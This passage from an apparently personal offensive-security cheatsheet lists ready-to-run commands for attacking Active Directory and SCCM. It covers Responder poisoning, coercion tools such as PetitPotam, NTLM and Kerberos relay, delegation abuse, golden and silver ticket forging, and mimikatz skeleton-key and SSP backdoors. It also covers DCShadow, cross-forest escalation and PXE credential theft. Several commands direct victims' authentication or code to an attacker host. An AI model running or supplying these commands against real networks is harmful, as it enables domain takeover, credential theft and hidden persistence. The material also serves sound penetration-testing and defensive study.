sed -i 's/ Random/ 1122334455667788/g' Responder/Responder.conf

Catch all the possible hashes on the network (coming via LLMNR, NBT-NS, DNS spoofing, etc):

# Responder with WPAD injection, Proxy-Auth, DHCP, DHCP-DNS and verbose
responder -I interface_to_use -wPdDv

Force NTLM downgrade to NTLMv1 (will break the authentications if v1 is disabled on the machine):

# --disable-ess will disable the SSP, not always usefull
responder -I interface_to_use -wdDv --lm --disable-ess

NTLMv1 response can be cracked on crash.sh.

Leak Files

With write rights on a SMB share, it is possible to drop a .lnk or .scf file to grab some user hashes:

nxc smb <target> -u user1 -p password -M slinky -o SERVER=<attacker_SMB_share_IP> -o NAME=<file_name>
nxc smb <target> -u user1 -p password -M scuffy -o SERVER=<attacker_SMB_share_IP> -o NAME=<file_name>
#To clean
nxc smb <target> -u user1 -p password -M slinky -o CLEANUP=True
nxc smb <target> -u user1 -p password -M scuffy -o CLEANUP=True

MITM6

Spoof DHCPv6 responses to provide evil DNS config. Usefull to combine with NTLM or Kerberos Relay attacks. Here for an NTLM relay:

mitm6 -i interface_to_use -d domain.local -hw target.domain.local -v

Here for a Kerberos relay to ADCS:

mitm6 -i interface_to_use -d domain.local -hw target.domain.local --relay CA.domain.local -v

PetitPotam / PrinterBug / ShadowCoerce / DFSCoerce / CheeseOunce

Exploits to coerce Net-NTLM authentication from a computer. PetitPotam can be used without any credentials if no patch has been installed.

#PetitPotam
./petitpotam.py -u user1 -p password -d domain.local -pipe all <attacker_IP> <target_IP>

#PrinterBug
./dementor.py -u user1 -p password -d domain.local <attacker_IP> <target_IP>

#ShadowCoerce
./shadowcoerce.py -u user1 -p password -d domain.local <attacker_IP> <target_IP>

#DFSCoerce
./dfscoerce.py -u user1 -d domain.local <listener_IP> <target_IP>

#CheeseOunce via MS-EVEN
./cheese.py domain.local/user1:password@<target> <listener_IP>

Multi coerce

Try all the techniques above in one command with this.

coercer.py coerce -u user1 -p password -d domain.local -t <target_IP> -l <attacker_IP> -v

PrivExchange

Coerce Exchange server authentication via PushSubscription (now patched):

python3 privexchange.py -ah <attacker_IP> <Exchange_server> -u user1 -p password -d domain.local

MSSQL Server

With xp_dirtree.

WebClient Service

If this service runs on the target machine, a SMB authentication can be switched into an HTTP authentication (really useful for NTLM relay).

Check if WebClient is running on machines:

webclientservicescanner domain.local/user1:password@<IP_range>

If yes, coerce the authentication to the port 80 on the attacker IP. To bypass trust zone restriction, the attacker machine must be specified with a valid NETBIOS name and not its IP. The NETBIOS name can be obtained with Responder in Analyze mode, or by adding a DNS record in the ADIDNS.

#Responder technique
responder -I interface_to_use -A

#ADIDNS technique
python3 dnstool.py -u "domain.local\user1" -p "password" -a add -r "attacker.domain.local" -d <attacker_IP> <DNS_IP>

#Coerce with PetitPotam for example
./petitpotam.py -u user1 -p password -d domain.local -pipe all "attacker_NETBIOS@80/test.txt" <target_IP>

Otherwise, it's possible to force an HTTP authentication with a LLMNR poisoning by changing the error code returned.

#With Responder + smbserver 
  #Start smbserver in a first terminal with authentication required
python3 smbserver.py $NAME . -smb2support -username notexist -password notexist
  #Start Responder in a second terminal
responder --interface "eth0"

#Or only with Responder
responder --interface "eth0" -E

NTLM and Kerberos relay

SMB without signing

Create a list of computer without SMB signing:

nxc smb <IP_range> --gen-relay-list list.txt

ntlmrelayx

If only SMBv2 is supported, -smb2support can be used. To attempt the remove the MIC if NTLMv2 is vulnerable to CVE-2019-1040, --remove-mic can be used.

Multiple targets can be specified with -tf list.txt.

#With attempt to dump possible GMSA and LAPS passwords, and ADCS templates
ntlmrelayx.py -t ldap://dc --dump-adcs --dump-laps --dump-gmsa --no-da --no-acl

ntlmrelayx.py -t smb://target -socks
ntlmrelayx.py -t mssql://target -socks
ntlmrelayx.py -t ldaps://target -socks

ntlmrelayx.py -t smb://target

ntlmrelayx.py -t dcsync://dc

Add an user to Enterprise Admins.

ntlmrelayx.py -t ldap://dc --escalate-user user1 --no-dump

#Create a new computer account through LDAPS
ntlmrelayx.py -t ldaps://dc_IP --add-computer --no-dump --no-da --no-acl

#Create a new computer account through LDAP with StartTLS
ntlmrelayx.py -t ldap://dc_IP --add-computer --no-dump --no-da --no-acl

#Create a new computer account through SMB through the SAMR named pipe (https://github.com/SecureAuthCorp/impacket/pull/1290)
ntlmrelayx.py -t smb://dc_IP --smb-add-computer EVILPC

Kerberos RBCD are detailled in the following section.

#Create a new computer account through LDAPS and enabled RBCD
ntlmrelayx.py -t ldaps://dc_IP --add-computer --delegate-access --no-dump --no-da --no-acl

#Create a new computer account through LDAP with StartTLS and enabled RBCD
ntlmrelayx.py -t ldap://dc_IP --add-computer --delegate-access --no-dump --no-da --no-acl

#Doesn't create a new computer account and use an existing one
ntlmrelayx.py -t ldap://dc_IP --escalate-user <controlled_computer> --delegate-access --no-dump --no-da --no-acl

ntlmrelayx.py -t ldap://dc02 --shadow-credentials --shadow-target 'dc01$'

#Attempts to open a socks and write loot likes dumps into a file
ntlmrelayx.py -tf targets.txt -wh attacker.domain.local -6 -l loot.txt -socks

Attack GPO from an unauthenticated point of view (by intercepting a NTLM authentication) cannot be performed only through LDAP, since the Group Policy Template needs to be modified via SMB. Read this article to better understand.

First, use ntlmrelayx to obtain full rights on the GPC via LDAP for a controlled account (or create a new one)

ntlmrelayx -t ldaps://<DC_IP> -wh '<attacker_IP>:8080' --http-port '80,8080' -i

#When relay is successful, use nc to obtain a LDAP shell
nc 127.0.0.1 11000
add_computer ATTACKER Password123
write_gpo_dacl ATTACKER$ {<GPO_ID>}

Then, modify the GPO with the controlled account

python3 gpoddity.py --gpo-id '<GPO_ID>' --domain 'domain.local' --username 'ATTACKER$' --password 'Password123' --command '<command_to_execute>' --rogue-smbserver-ip '<attacker_IP>' --rogue-smbserver-share 'evil'

If NTLMv1 is enabled on the source server and accepted by the target, and the target server exposes the WinRMs service (over HTTPS), without forcing CBT. Use this PR.

#Perform the relay
ntlmrelayx -t winrms://target.domain.local -smb2support

#Use the opened WinRMs shell
nc 127.0.0.1 11000

Permits to relay a SMB authentication from a machine to itself, with SYSTEM privileges thanks to Local NTLM authentication. SMB signing must not be enforced.

dnstool.py -u 'domain.local\user1' -p password -a add -r $TARGET_NETBIOS1UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAwbEAYBAAAA -d <attacker_IP> <DC_IP>
	# Or, to target any computer
dnstool.py -u 'domain.local\user1' -p password -a add -r localhost1UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAwbEAYBAAAA -d <attacker_IP> <DC_IP>

PetitPotam.py -u user1 -p password -d domain.local $TARGET_NETBIOS1UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAwbEAYBAAAA TARGET.DOMAIN.LOCAL
ntlmrelayx.py -t TARGET.DOMAIN.LOCAL -smb2support

krbrelayx

krbrelayx.py --target http://CA.domain.local/certsrv -ip <attacker_IP> --victim target$ --adcs --template Machine

All explains here.

First, register the specific DNS record:

dnstool.py -u "domain\\user1" -p "password" -r "$ADCS_NETBIOS1UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAYBAAAA" -d "attacker_IP" --action add "DC_IP" --tcp

Then, coerce the target to the registered record, with PetitPotam for example, and relay:

Petitpotam.py -d domain.local -u user1 -p password "<ADCS_netbios>1UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAYBAAAA" dc.domain.local

krbrelayx.py -t 'http://<ADCS_netbios>.domain.local/certsrv/certfnsh.asp' --adcs --template DomainController -v 'dc$'

If the relayed authentication is privileged, this will dump the SAM and LSA:

krbrelayx.py -t smb://target.domain.local

When a web server requests Kerberos authentication, it does not use the destination URL to determine the SPN for which an ST is to be retrieved, but rather the response name of the DNS response. Nominally, these two elements should coincide. The client accesses a login URL, performs the DNS query for the server's FQDN, then performs the ST request from the DNS response, and constructs the AP-REQ. Explains here.

#Responder with -N to spoof the answer name returned by LLMNR responses
#<target_netbios> is the server that will receive the relay, for example the PKI
responder -I eth0 -N <target_netbios>

#Krbrelayx to actually perform the Kerberos relay, for example to the PKI
krbrelayx.py --target 'http://CA/certsrv/' -ip <attacker_IP> --adcs --template User

Permits to relay a SMB authentication from a machine to itself, with SYSTEM privileges thanks to Local NTLM authentication. SMB signing must not be enforced.

dnstool.py -u 'domain.local\user1' -p password -a add -r $TARGET_NETBIOS1UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAwbEAYBAAAA -d <attacker_IP> <DC_IP>
	# Or, to target any computer
dnstool.py -u 'domain.local\user1' -p password -a add -r localhost1UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAwbEAYBAAAA -d <attacker_IP> <DC_IP>

Modify krbrelayx.py to only provide Kerberos, and not NTLM, to ensure that NTLM will not be negociate.

File: krbrelayx/lib/servers/smbrelayserver.py
156:         blob['tokenOid'] = '1.3.6.1.5.5.2'
157:         blob['innerContextToken']['mechTypes'].extend([MechType(TypesMech['KRB5 - Kerberos 5']),
158:                                                        MechType(TypesMech['MS KRB5 - Microsoft Kerberos 5']),
159:                                                        MechType(TypesMech['NTLMSSP - Microsoft NTLM Security Support Provider'])])

PetitPotam.py -u user1 -p password -d domain.local $TARGET_NETBIOS1UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAwbEAYBAAAA TARGET.DOMAIN.LOCAL
krbrelayx.py -t TARGET.DOMAIN.LOCAL -smb2support

krbjack

A tool to perform DNS updates thanks to the ZONE_UPDATE_UNSECURE flag in the DNS configuration. Perform a MiTM between any client and a target machine by changing its DNS resolution, forward all the packets to the specified ports, and steal the AP_REQ packets on the fly to reuse them.

The port list is really important and must match all the open ports on the target to perform all thge forward. If not, a DOS will occure since clients will not be able to reach the services.

krbjack --target-name <target> --domain domain.local --dc-ip <DC_IP> --ports <port1,port2,port3,...> --executable <executable.exe>

krbjack --target-name <target> --domain domain.local --dc-ip <DC_IP>
ntlmrelayx.py -t <target_IP> -smb2support

Kerberos Delegations

Kerberos delegations can be used for local privesc, lateral movement or domain privesc. The main purpose of Kerberos delegations is to permit a principal to access a service on behalf of another principal.

There are two main types of delegation:

Unconstrained delegation

Enumerate principals with Unconstrained Delegation

Works for computers and users

findDelegation.py -dc-ip <DC_IP> domain.local/user1:password

#For another domain across trust
findDelegation.py -target-domain <target_domain> domain.local/user1:password

Unconstrained Delegation attack

If we have enough rights against a principal (computer or user) in UD to add a SPN on it and know its password, we can try to use it to retrieve a machine account password from an authentication coercion.

Since the principal is in Unconstrained Delegation, when the machine account will send the ST to the SPN it will automatically add a TGT in it, and because the SPN is pointing to us with the DNS record, we can retrieve the ST, decipher the ciphered part with the user password (the SPN is setup on the user, so the ST is ciphered with his password), and retrieve the TGT.

#Add the SPN
python3 addspn.py -u 'domain.local\user1' -p 'password' -s 'HOST/attacker.domain.local' -t 'target.domain.local' --additional <DC_IP>

#Create the DNS record
python3 dnstool.py -u 'domain.local\user1' -p 'password' -r 'attacker.domain.local' -d '<attacker_IP>' --action add <DC_IP>

#Run krbrelayx with the hash of the password of the principal
python3 krbrelayx.py -hashes :2B576ACBE6BCFDA7294D6BD18041B8FE -dc-ip dc.domain.local

#Trigger the coercion
./petitpotam.py -u user1 -p password -d domain.local -pipe all "attacker.domain.local" <target_IP>

Constrained delegation

In this situation, the computer in delegation has a list of services where it can delegate an authentication. This is controlled by msDS-AllowedToDelegateTo attribute that contains a list of SPNs to which the user tokens can be forwarded. No ticket is stored in LSASS.

To impersonate the user, Service for User (S4U) extension is used which provides two extensions:

Enumerate users and computers with CD enabled

findDelegation.py -dc-ip <DC_IP> domain.local/user1:password

#For another domain across trust
findDelegation.py -target-domain <target_domain> domain.local/user1:password

With protocol transition

Any service can be specified on the target since it is not correctly checked.

getST.py -spn 'cifs/target.domain.local' -impersonate administrator -hashes ':<computer_NThash>' -dc-ip <DC_IP> domain.local/computer
export KRB5CCNAME=./Administrator.ccache

Without protocol transition

In this case, it is not possible to use S4U2self to obtain a forwardable ST for a specific user. This restriction can be bypassed with an RBCD attack detailled in the following section.

Resource-based constrained delegation

Wagging the Dog

With RBCD, this is the resource machine (the machine that receives delegation) which has a list of services that can delegate to it. This list is specified in the attribute msds-allowedtoactonbehalfofotheridentity and the computer can modified its own attribute (really usefull in NTLM relay attack scenario).

Requirements

Enumerate users and computers with RBCD enabled

findDelegation.py -dc-ip <DC_IP> domain.local/user1:password

#For another domain across trust
findDelegation.py -target-domain <target_domain> domain.local/user1:password

#Check the attribute on an account
rbcd.py -action read -delegate-to ServiceB$ domain.local/user1:password

Standard RBCD

The attaker has compromised ServiceA and want to compromise ServiceB. Additionnally he has sufficient rights to configure msds-allowedtoactonbehalfofotheridentity on ServiceB.

#Add RBCD from ServiceA to ServiceB
rbcd.py -action write -delegate-from ServiceA$ -delegate-to ServiceB$ domain.local/user1:password

#Verify property
rbcd.py -action read -delegate-to ServiceB$ domain.local/user1:password

#Get ServiceA TGT and then S4U
getST.py -spn 'cifs/serviceB.domain.local' -impersonate administrator -hashes ':<ServiceA_NThash>' -dc-ip <DC_IP> domain.local/ServiceA$
export KRB5CCNAME=./Administrator.ccache

With machine account creation

addcomputer.py -computer-name 'ControlledComputer$' -computer-pass 'ComputerPassword' -domain-netbios domain.local 'domain.local/user1:password'
rbcd.py -action write -delegate-from ControlledComputer$ -delegate-to ServiceB$ domain.local/ControlledComputer$:ComputerPassword

getST.py -spn 'cifs/serviceB.domain.local' -impersonate administrator -dc-ip <DC_IP> domain.local/ControlledComputer$:ComputerPassword
export KRB5CCNAME=./Administrator.ccache

Skip S4USelf

NOT TESTED IN MY LAB WITH IMPACKET

getST.py -spn 'cifs/serviceB.domain.local' -additional-ticket ./ticket.ccache -hashes ':<ServiceA_NThash>' -dc-ip <DC_IP> domain.local/ServiceA$

Reflective RBCD

With a TGT or the hash of a service account, an attacker can configure a RBCD from the service to itself, and run a full S4U to access to access the machine on behalf of another user.

rbcd.py -action write -delegate-from ServiceA$ -delegate-to ServiceA$ -k -no-pass domain.local/ServiceA$
getST.py -spn 'cifs/serviceA.domain.local' -impersonate administrator -k -no-pass -dc-ip <DC_IP> domain.local/ServiceA$

Impersonate protected user via S4USelf request

It is possible to impersonate a protected user with the S4USelf request if we have a TGT (or the creds) of the target machine (for example from an Unconstrained Delegation).

With the target TGT it is possible to realise a S4USelf request for any user and obtain a ST for the service. In case where the needed user is protected against delegation, S4USelf will still work, but the ST is not forwardable (so no S4UProxy possible) and the specified SPN is invalid...however, the SPN is not in the encrypted part of the ticket. So it is possible to modify the SPN and retrieve a valid ST for the target service with a sensitive user (and the ST PAC is well signed by the KDC).

getST.py -self -altservice 'cifs/serviceA.domain.local' -impersonate administrator -k -no-pass -dc-ip <DC_IP> domain.local/ServiceA$

Bypass Constrained Delegation restrictions with RBCD

#RBCD from A to B
rbcd.py -action write -delegate-from ServiceA$ -delegate-to ServiceB$ -hashes ':<ServiceA_NThash>' domain.local/ServiceA$
getST.py -spn 'cifs/serviceB.domain.local' -impersonate administrator -hashes ':<ServiceA_NThash>' -dc-ip <DC_IP> domain.local/ServiceA$

#S4UProxy from B to C with the obtained ST as evidence
getST.py -spn 'cifs/serviceC.domain.local' -additional-ticket ./administrator.ccache -hashes ':<ServiceB_NThash>' -dc-ip <DC_IP> domain.local/ServiceB$

U2U RBCD with SPN-less accounts

In case where you have sufficient rights to configure an RBCD on a machine (for example with an unsigned authentication coerce via HTTP) but ms-ds-machineaccountquota equals 0, there is no ADCS with the HTTP endpoint and the Shadow Credentials attack is not possible (domain level to 2012 for example), you can realize a RBCD from a SPN-less user account. An interesting example is present here.

getTGT.py -hashes :$(pypykatz crypto nt 'password') 'domain.local'/'user1'
describeTicket.py 'user1.ccache' | grep 'Ticket Session Key'

smbpasswd.py -newhashes :sessionKey 'domain.local'/'user1':'password'@'DC'

KRB5CCNAME='user1.ccache'
getST.py -k -no-pass -u2u -impersonate "Administrator" -spn "cifs/target.domain.local" 'domain.local'/'user1'

RBCD from MSSQL server

If we have sufficient access to a MSSQL server we can use the xp_dirtree in order to leak the Net-NTLM hash of the machine account. Additionally, the Web Service client must be running on the machine in order to trick the authentication from SMB to HTTP and avoid the NTLM signature (authentication must be sent to @80):

#Add the DNS
python3 dnstool.py -u 'domain.local\user1' -p 'password' -r 'attacker.domain.local' -d '<attacker_IP>' --action add <DC_IP>

#On our machine, waiting for the leak
#https://gist.github.com/3xocyte/4ea8e15332e5008581febdb502d0139c
python rbcd_relay.py 192.168.24.10 domain.local 'target$' <controlledAccountWithASPN>

#ON the MSSQL server
SQLCMD -S <MSSQL_instance> -Q "exec master.dbo.xp_dirtree '\\attacker@80\a'" -U Admin -P Admin

#After the attack, ask for a ST with full S4U
getST.py -spn cifs/target.domain.local -impersonate admininistrator -dc-ip <DC_IP> domain.local/<controlledAccountWithASPN>password

Domain Persistence

Sapphire ticket

Similar to Diamond Ticket, but instead of decipher, modify, recipher and resign the PAC on the fly, this technique inject a fully new one PAC obtained via a S4USelf + U2U attack in the requested ticket. Full explains here.

ticketer.py -request -impersonate 'Administrator' -domain 'domain.local' -user 'user1' -password 'password' -aesKey 'krbtgt_AES_key' -domain-sid '<domain_SID>' 'blabla'

Diamond ticket

Blog here

For the moment, the ticketer.py approach is not really attractive and the Sapphire Ticket attack is preferable, or use Rubeus on Windows.

Golden ticket

Dump krbtgt hash with DCSync

secretsdump.py -just-dc-user 'krbtgt' -just-dc-ntlm domain.local/administrator:password@<DC>

Create TGT

ticketer.py -domain domain.local -domain-sid <domain_SID> -nthash <krbtgt_hash> -user-id <target_RID> -duration <ticket_lifetime_in_day> <target_user>

RODC Golden Ticket

This attack is presented in the Active Directory cheatsheet.

Silver ticket

ticketer.py -domain domain.local -domain-sid <domain_SID> -spn 'cifs/target' -nthash <account_hash> -user-id <target_RID> -duration <ticket_lifetime_in_day> <target_user>

Another solution, if you don't have the NT hash or the AES keys of the service but you have a TGT for the service account, is to impersonate an account via a request for a service ticket through S4USelf to an alternative service (and the opsec is better since the PAC is consistent):

export KRB5CCNAME=./target_TGT.ccache
getST.py -self -impersonate "Administrator" -altservice "cifs/target.domain.local" -k -no-pass "domain.local"/'target$'

GoldenGMSA

This attack is presented in the Active Directory cheatsheet.

Skeleton key

nxc smb <DC_IP> -u 'Administrator' -p 'password' -M mimikatz -o COMMAND='misc::skeleton'

Now, it is possible to access any machine with a valid username and password as "mimikatz"

DSRM

Dump DSRM password

nxc smb <DC_IP> -u user1 -p password --sam

Change registry configuration

Need to change the logon behavior before pass the hash

reg.py -dc-ip <DC_IP> 'domain.local'/'Administrator':'password'@dc.domain.local add -keyName 'HKLM\\System\\CurrentControlSet\\Control\\Lsa\\' -v 'DsrmAdminLogonBehavior' -vd 2 -vt REG_DWORD

Now the DSRM hash ca be used to authenticate

Custom SSP

SSP are DDLs that provide ways to authenticate for the application. For example Kerberos, NTLM, WDigest, etc. Mimikatz provides a custom SSP that permits to log in a file in clear text the passwords of the users that authenticate on the machine.

nxc smb <target> -u user1 -p password -M mimikatz -o COMMAND='misc::memssp'

Upload the mimilib.dll to system32 and add mimilib to HKLM\SYSTEM\CurrentControlSet\Control\Lsa\Security Packages :

#Retrieve the actual values of Security Package
reg.py -dc-ip <DC_IP> 'domain.local'/'Administrator':'password'@dc.domain.local query -keyName 'HKLM\\System\\CurrentControlSet\\Control\\Lsa\\' -v 'Security Packages' -s

#Append mimilib to the previous list
reg.py -dc-ip <DC_IP> 'domain.local'/'Administrator':'password'@dc.domain.local add -keyName 'HKLM\\System\\CurrentControlSet\\Control\\Lsa\\' -v 'Security Packages' -vd "<list> mimilib" -vt REG_MULTI_SZ

DACLs - AdminSDHolder

AdminSDHolder is a solution that compares the ACLS of the objects with AdminCount=1 with a list of ACLs. If the ACLs of the objects are different, they are overwritten. The script run normally every hour.

Attack

dacledit.py -action write -target-dn 'CN=AdminSDHolder,CN=System,DC=DOMAIN,DC=LOCAL' -principal user1 -rights FullControl -ace-type allowed -dc-ip <DC_IP> 'domain.local'/'administrator':'password'

Check Domain Admin ACLs

dacledit.py -action read -target "Domain Admins" -principal user1 -dc-ip <DC_IP> domain.local/user1:password

DACLs - Interesting rights

The ACLs can be used for persistence purpose by adding interesting rights like DCSync, FullControl over the domain, etc. Check the On any objects in the ACLs attacks section.

Cross-Trust Movement

Attacks against trusts are generally more efficient from a Windows machine with Mimikatz and Rubeus.

Child to parent domain

Escalate from a child domain to the root domain of the forest by forging a Golden Ticket with the SID of the Enterprise Admins group in the SID history field.

#The new Golden Ticket will be written at the path specified in -w
raiseChild.py -w ./ticket.ccache child.domain.local/Administrator:password

#Dump the Administrator's hash of the root domain
raiseChild.py child.domain.local/Administrator:password

#PSEXEC on a machine
raiseChild.py -target-exec <target> child.domain.local/Administrator:password

Across forest

SID History attacks

If there is no SID filtering, it is possible to specify any privileged SID of the target forest in the SID History field. Otherwise, with partial filtering, an RID > 1000 must be indicated.

secretsdump.py -just-dc-user '<current_forest/target_forest$>' domain.local/Administrator:password@<DC>

ticketer.py doesn't work really well with inter-realm TGT, it's preferable to use Mimikatz for this one.

#Referral ticket
ticketer.py -domain domain.local -domain-sid <domain_SID> -extra-sid <target_domain_SID>-<RID> -aesKey <aes_trust_key> -spn "krbtgt/targetDomain.local" <target_user>

#Inter-realm Golden Ticket
ticketer.py -domain domain.local -domain-sid <domain_SID> -extra-sid <target_domain_SID>-<RID> -nthash <krbtgt_hash> <target_user>

export KRB5CCNAME=./ticket.ccache
getST.py -k -no-pass -spn CIFS/dc.targetDomain.local -dc-ip <target_DC_IP> targetDomain.local/user

#These SIDs are members of the target domain
ldeep ldap -u user1 -p password -d domain.local -s <target_LDAP_server_IP> search '(objectclass=foreignSecurityPrincipal)' | jq '.[].objectSid'

#The found SIDs can be search in the current forest
ldeep ldap -u user1 -p password -d domain.local -s <LDAP_server_IP> search '(objectSid=<object_SID>)'

Then, it is possible to forge an referral ticket for this user and access the target forest with its privileges.

TGT delegation

By default, Domain Controllers are setup with Unconstrained Delegation (which is necessary in an Active Directory to correctly handle the Kerberos authentications).

If TGT delegation is enabled in the trust attributes, it is possible to coerce the remote Domain Controller authentication from the compromised Domain Controller, and retrieve its TGT in the ST. If TGT delegation is disabled, the TGT will not be added in the ST, even with the Unconstrained Delegation.

Additionally, Selective Authentication must not be enabled on the trust, and a two ways trust is needed.

How to exploit an Unconstrained Delegation.

Transit across non-transitive trusts

WARNING ! For the moment, this attack has not been tested on Linux with Impacket but only with Rubeus from a Windows machine. The following commands are here for information purpose only and probably need some adjustments. I recommend you to perform this attack with Rubeus (look at the Active Directory cheatsheet).

If a non-transitive trust is setup between domains from two different forests (domain A and B for example), users from domain A will be able to access resources in domain B (in case that B trusts A), but will not be able to access resources in other domains that trust domain B (for example, domain C). Non-transitive trusts are setup by default on External Trusts for example.

However, there is a way to make non-transitive trusts transitive. Full explains here.

For this example, there is an External Trust between domains A and B (which are in different forests), there is a Within Forest trust between domains B and C (which are in the same forest), and a Parent-child trust between domains C and D (so, they are in the same forest). We have a user (userA) in domain A, and we want to access services in domain D, which is normally impossible since External Trusts are non-transitive.

getTGT.py -dc-ip <DC_A_IP> domainA.local/userA:password
export KRB5CCNAME=./userA.ccache

getST.py -k -no-pass -spn "krbtgt/domainB.local" -dc-ip <DC_A_IP> domainA.local/userA

getST.py -k -no-pass -spn "krbtgt/domainB.local" -dc-ip <DC_B_IP> domainA.local/userA

getST.py -k -no-pass -spn "krbtgt/domainC.local" -dc-ip <DC_B_IP> domainA.local/userA

This referral for domain C can be, in turn, used to access domain D with the same technique, and so on. This attack permits to pivot between all the trusts (and consequently the domains) in the same forest from a domain in a external forest.

However, it is not possible to directly use this technique to access a domain in another forest that would have a trust with domain D. For example, if domain D has an External Trust with domain E in a third forest, it will be not possible to access domain E from A.

A valid workaround is to use the referral for domain D to request a ST for LDAP in domain D, and use it to create a machine account. This account will be valid in domain D and will be used to restart the attack from domain D (like with user A) and access domain E.

getST.py -k -no-pass -spn "ldap/dc.domainD.local" -dc-ip <DC_D_IP> domainA.local/userA
addcomputer.py -k -no-pass -computer-name 'ControlledComputer$' -computer-pass 'ComputerPassword' -domain-netbios domainD.local domainA.local/userA
#Then, ask for a TGT and replay the attack against domain E

Across forest - PAM trust

The goal is to compromise the bastion forest and pivot to the production forest to access to all the resources with a Shadow Security Principal mapped to a high privs group.

Check if the current forest is a bastion forest

Enumerate trust properties

ldeep ldap -u user1 -p password -d domain.local -s <LDAP_server_IP> trusts

Enumerate shadow security principals

ldeep ldap -u user1 -p password -d domain.local -s <LDAP_server_IP> search '(distinguishedName=*Shadow Principal Configuration*)' |jq '.[].name, .[].member, .[]."msDS-ShadowPrincipalSid"'

Check if the current forest is managed by a bastion forest

ForestTransitive must be true

ldeep ldap -u user1 -p password -d domain.local -s <LDAP_server_IP> trusts

A trust attribute of 1096 is for PAM (0x00000400) + External Trust (0x00000040) + Forest Transitive (0x00000008).

Get the shadow security principals

ldeep ldap -u user1 -p password -d domain.local -s <LDAP_server_IP> object "Shadow Principal Configuration" -v |jq '.[].name, .[].member, .[]."msDS-ShadowPrincipalSid"'

These users can access the production forest through the trust with classic workflow (PSRemoting, RDP, etc), or with SIDHistory injection since SIDFiltering in a PAM Trust.

SCCM Hierarchy takeover

In case an organisation has multiple SCCM primary sites dispersed between different domains, it has the possibility to setup a Central Administration Site to administrate all the sites from one "top" site server.

If it the case, by default the CAS will automatically replicate all the SCCM site admins between all the sites. This means, if you have takeover one site and added a controlled user as SCCM site admin, he will be automatically added as a site admin on all the other site by the CAS, and you can use him to pivote between the sites.

Full explains here.

Forest Persistence - DCShadow

MUST BE TESTED MORE CORRECTLY

The attack needs 2 instances on the compromised machine.

nxc smb <target> -u Administrator -p password -M mimikatz -o COMMAND='"token::elevate" "privilege::debug" "lsadump::dcshadow /object:<object_to_modify> /attribute:<attribute_to_modify> /value=<value_to_set>"'

nxc smb <target> -u Administrator -p password -M mimikatz -o COMMAND='lsadump::dcshadow /push' --server-port 8080

Set interesting attributes

Set SIDHistory to Enterprise Admin

lsadump::dcshadow /object:user1 /attribute:SIDHistory /value:<domain_SID>-519

Modify primaryGroupID

lsadump::dcshadow /object:user1 /attribute:primaryGroupID /value:519

Set a SPN on an user

lsadump::dcshadow /object:user1 /attribute:servicePrincipalName /value:"Legitime/User1"

References

System Center Configuration Manager

This cheatsheet is built from numerous papers, GitHub repos and GitBook, blogs, HTB boxes and labs, and other resources found on the web or through my experience. This was originally a private page that I made public, so it is possible that I have copy/paste some parts from other places and I forgot to credit or modify. If it the case, you can contact me on my Twitter @BlWasp_.

I will try to put as many links as possible at the end of the page to direct to more complete resources.

System Center Configuration Manager (SCCM), renamed Microsoft Endpoint Configuration Manager (MECM) and, more recently, Microsoft Configuration Manager (ConfigMgr), is a software developed by Microsoft to help system administrators manage the servers and workstations in large Active Directory environments.

PXE initial access

A PXE boot server can be embedded in the SCCM infrastructure. However, identifying a PXE server on the network does not necessarily imply the presence of an SCCM infrastructure, and the presence of SCCM doesn't indicate that a PXE boot is present.

PXEThief is only available on Windows because of the pywin32 library dependency, and works better with Python 3.10.

# Identify a PXE server over the network with DHCP request
python3.10.exe .\pxethief.py 1

# Indicate the Distribution Point IP to veriy if there is any PXE on it
python3.10.exe .\pxethief.py 2 <DP_IP>

If the media is encrypted, request it like this:

tftp -i <DP_IP> GET "\SMSTemp\<XXX>.boot.var" "<XXX>.boot.var"

Then, compute the hash and crack it with hashcat's dedicated module:

python3.10.exe .\pxethief.py 5 '<XXX>.boot.var'

cd hashcat_pxe/
git clone https://github.com/hashcat/hashcat.git
git clone https://github.com/MWR-CyberSec/configmgr-cryptderivekey-hashcat-module
cp configmgr-cryptderivekey-hashcat-module/module_code/module_19850.c hashcat/src/modules/
cp configmgr-cryptderivekey-hashcat-module/opencl_code/m19850* hashcat/OpenCL/
cd hashcat
# change to 6.2.5
git checkout -b v6.2.5 tags/v6.2.5
make

cd ..
hashcat/hashcat -m 19850 --force -a 0 hash.txt /usr/share/wordlists/rockyou.txtou.txt

Finally request the media, decrypt it with the password and retrieve sensitive information inside:

python3.10.exe .\pxethief.py 3 'XXX.boot.var' "Password123!"

Or alternatively, PowerPXE is a PowerShell script that extracts interesting data from insecure PXE boot.

Import-Module PowerPxe
Get-PXEcreds -InterfaceAlias Ethernet

Recon

Techniques to identify SCCM servers and related objects in an Active Directory.

Windows

#With PowerShell
([ADSISearcher]("objectClass=mSSMSManagementPoint")).FindAll() | % {$_.Properties}

#With SharpSCCM
./SharpSCCM.exe local site-info
./SharpSCCM.exe local client-info

Linux

#Find the assets in the LDAP configuration
python3 sccmhunter.py find -u user1 -p password -d domain.local -dc-ip <DC_IP>

#Retrieve informations regarding the identified servers (SMB signing, site code, server type, etc)
#And save PXE variables
python3 sccmhunter.py smb -u user1 -p password -d domain.local -dc-ip <DC_IP> -save

#Show results from the previous commands
python3 sccmhunter.py show -smb
python3 sccmhunter.py show -user
python3 sccmhunter.py show -computers
python3 sccmhunter.py show -all

Credentials harvesting

Client Push Accounts

With a compromised machine in an Active Directory where SCCM is deployed via Client Push Accounts (the default configuration) on the assets, it is possible to retrieve the Net-NTLM hash of the Client Push Account, which generally has Administrator privileges on lots of assets. Full explains here. To do it:

With SharpSCCM it is possible to accelerate the process by coercing a Client Push Accounts authentication.

#If admin access over Management Point (useful to clean the MP cache with the attacker machine)
./SharpSCCM.exe invoke client-push -t <attacker_IP> --as-admin

#If not MP admin (need to conctact an administrator to clean the cache)
./SharpSCCM.exe invoke client-push -t <attacker_IP>

Local SCCM credentials extraction

Multiple secrets and credentials can be extracted on a machine enrolled in SCCM. For example, it is possible to retrieve the Network Access Accounts (NAA) in the NAA policy which it's sent by the SCCM server and stored on the SCCM client disk encrypted with DPAPI, and the TaskSequence and Device Collection variables, also encrypted by DPAPI.

Windows

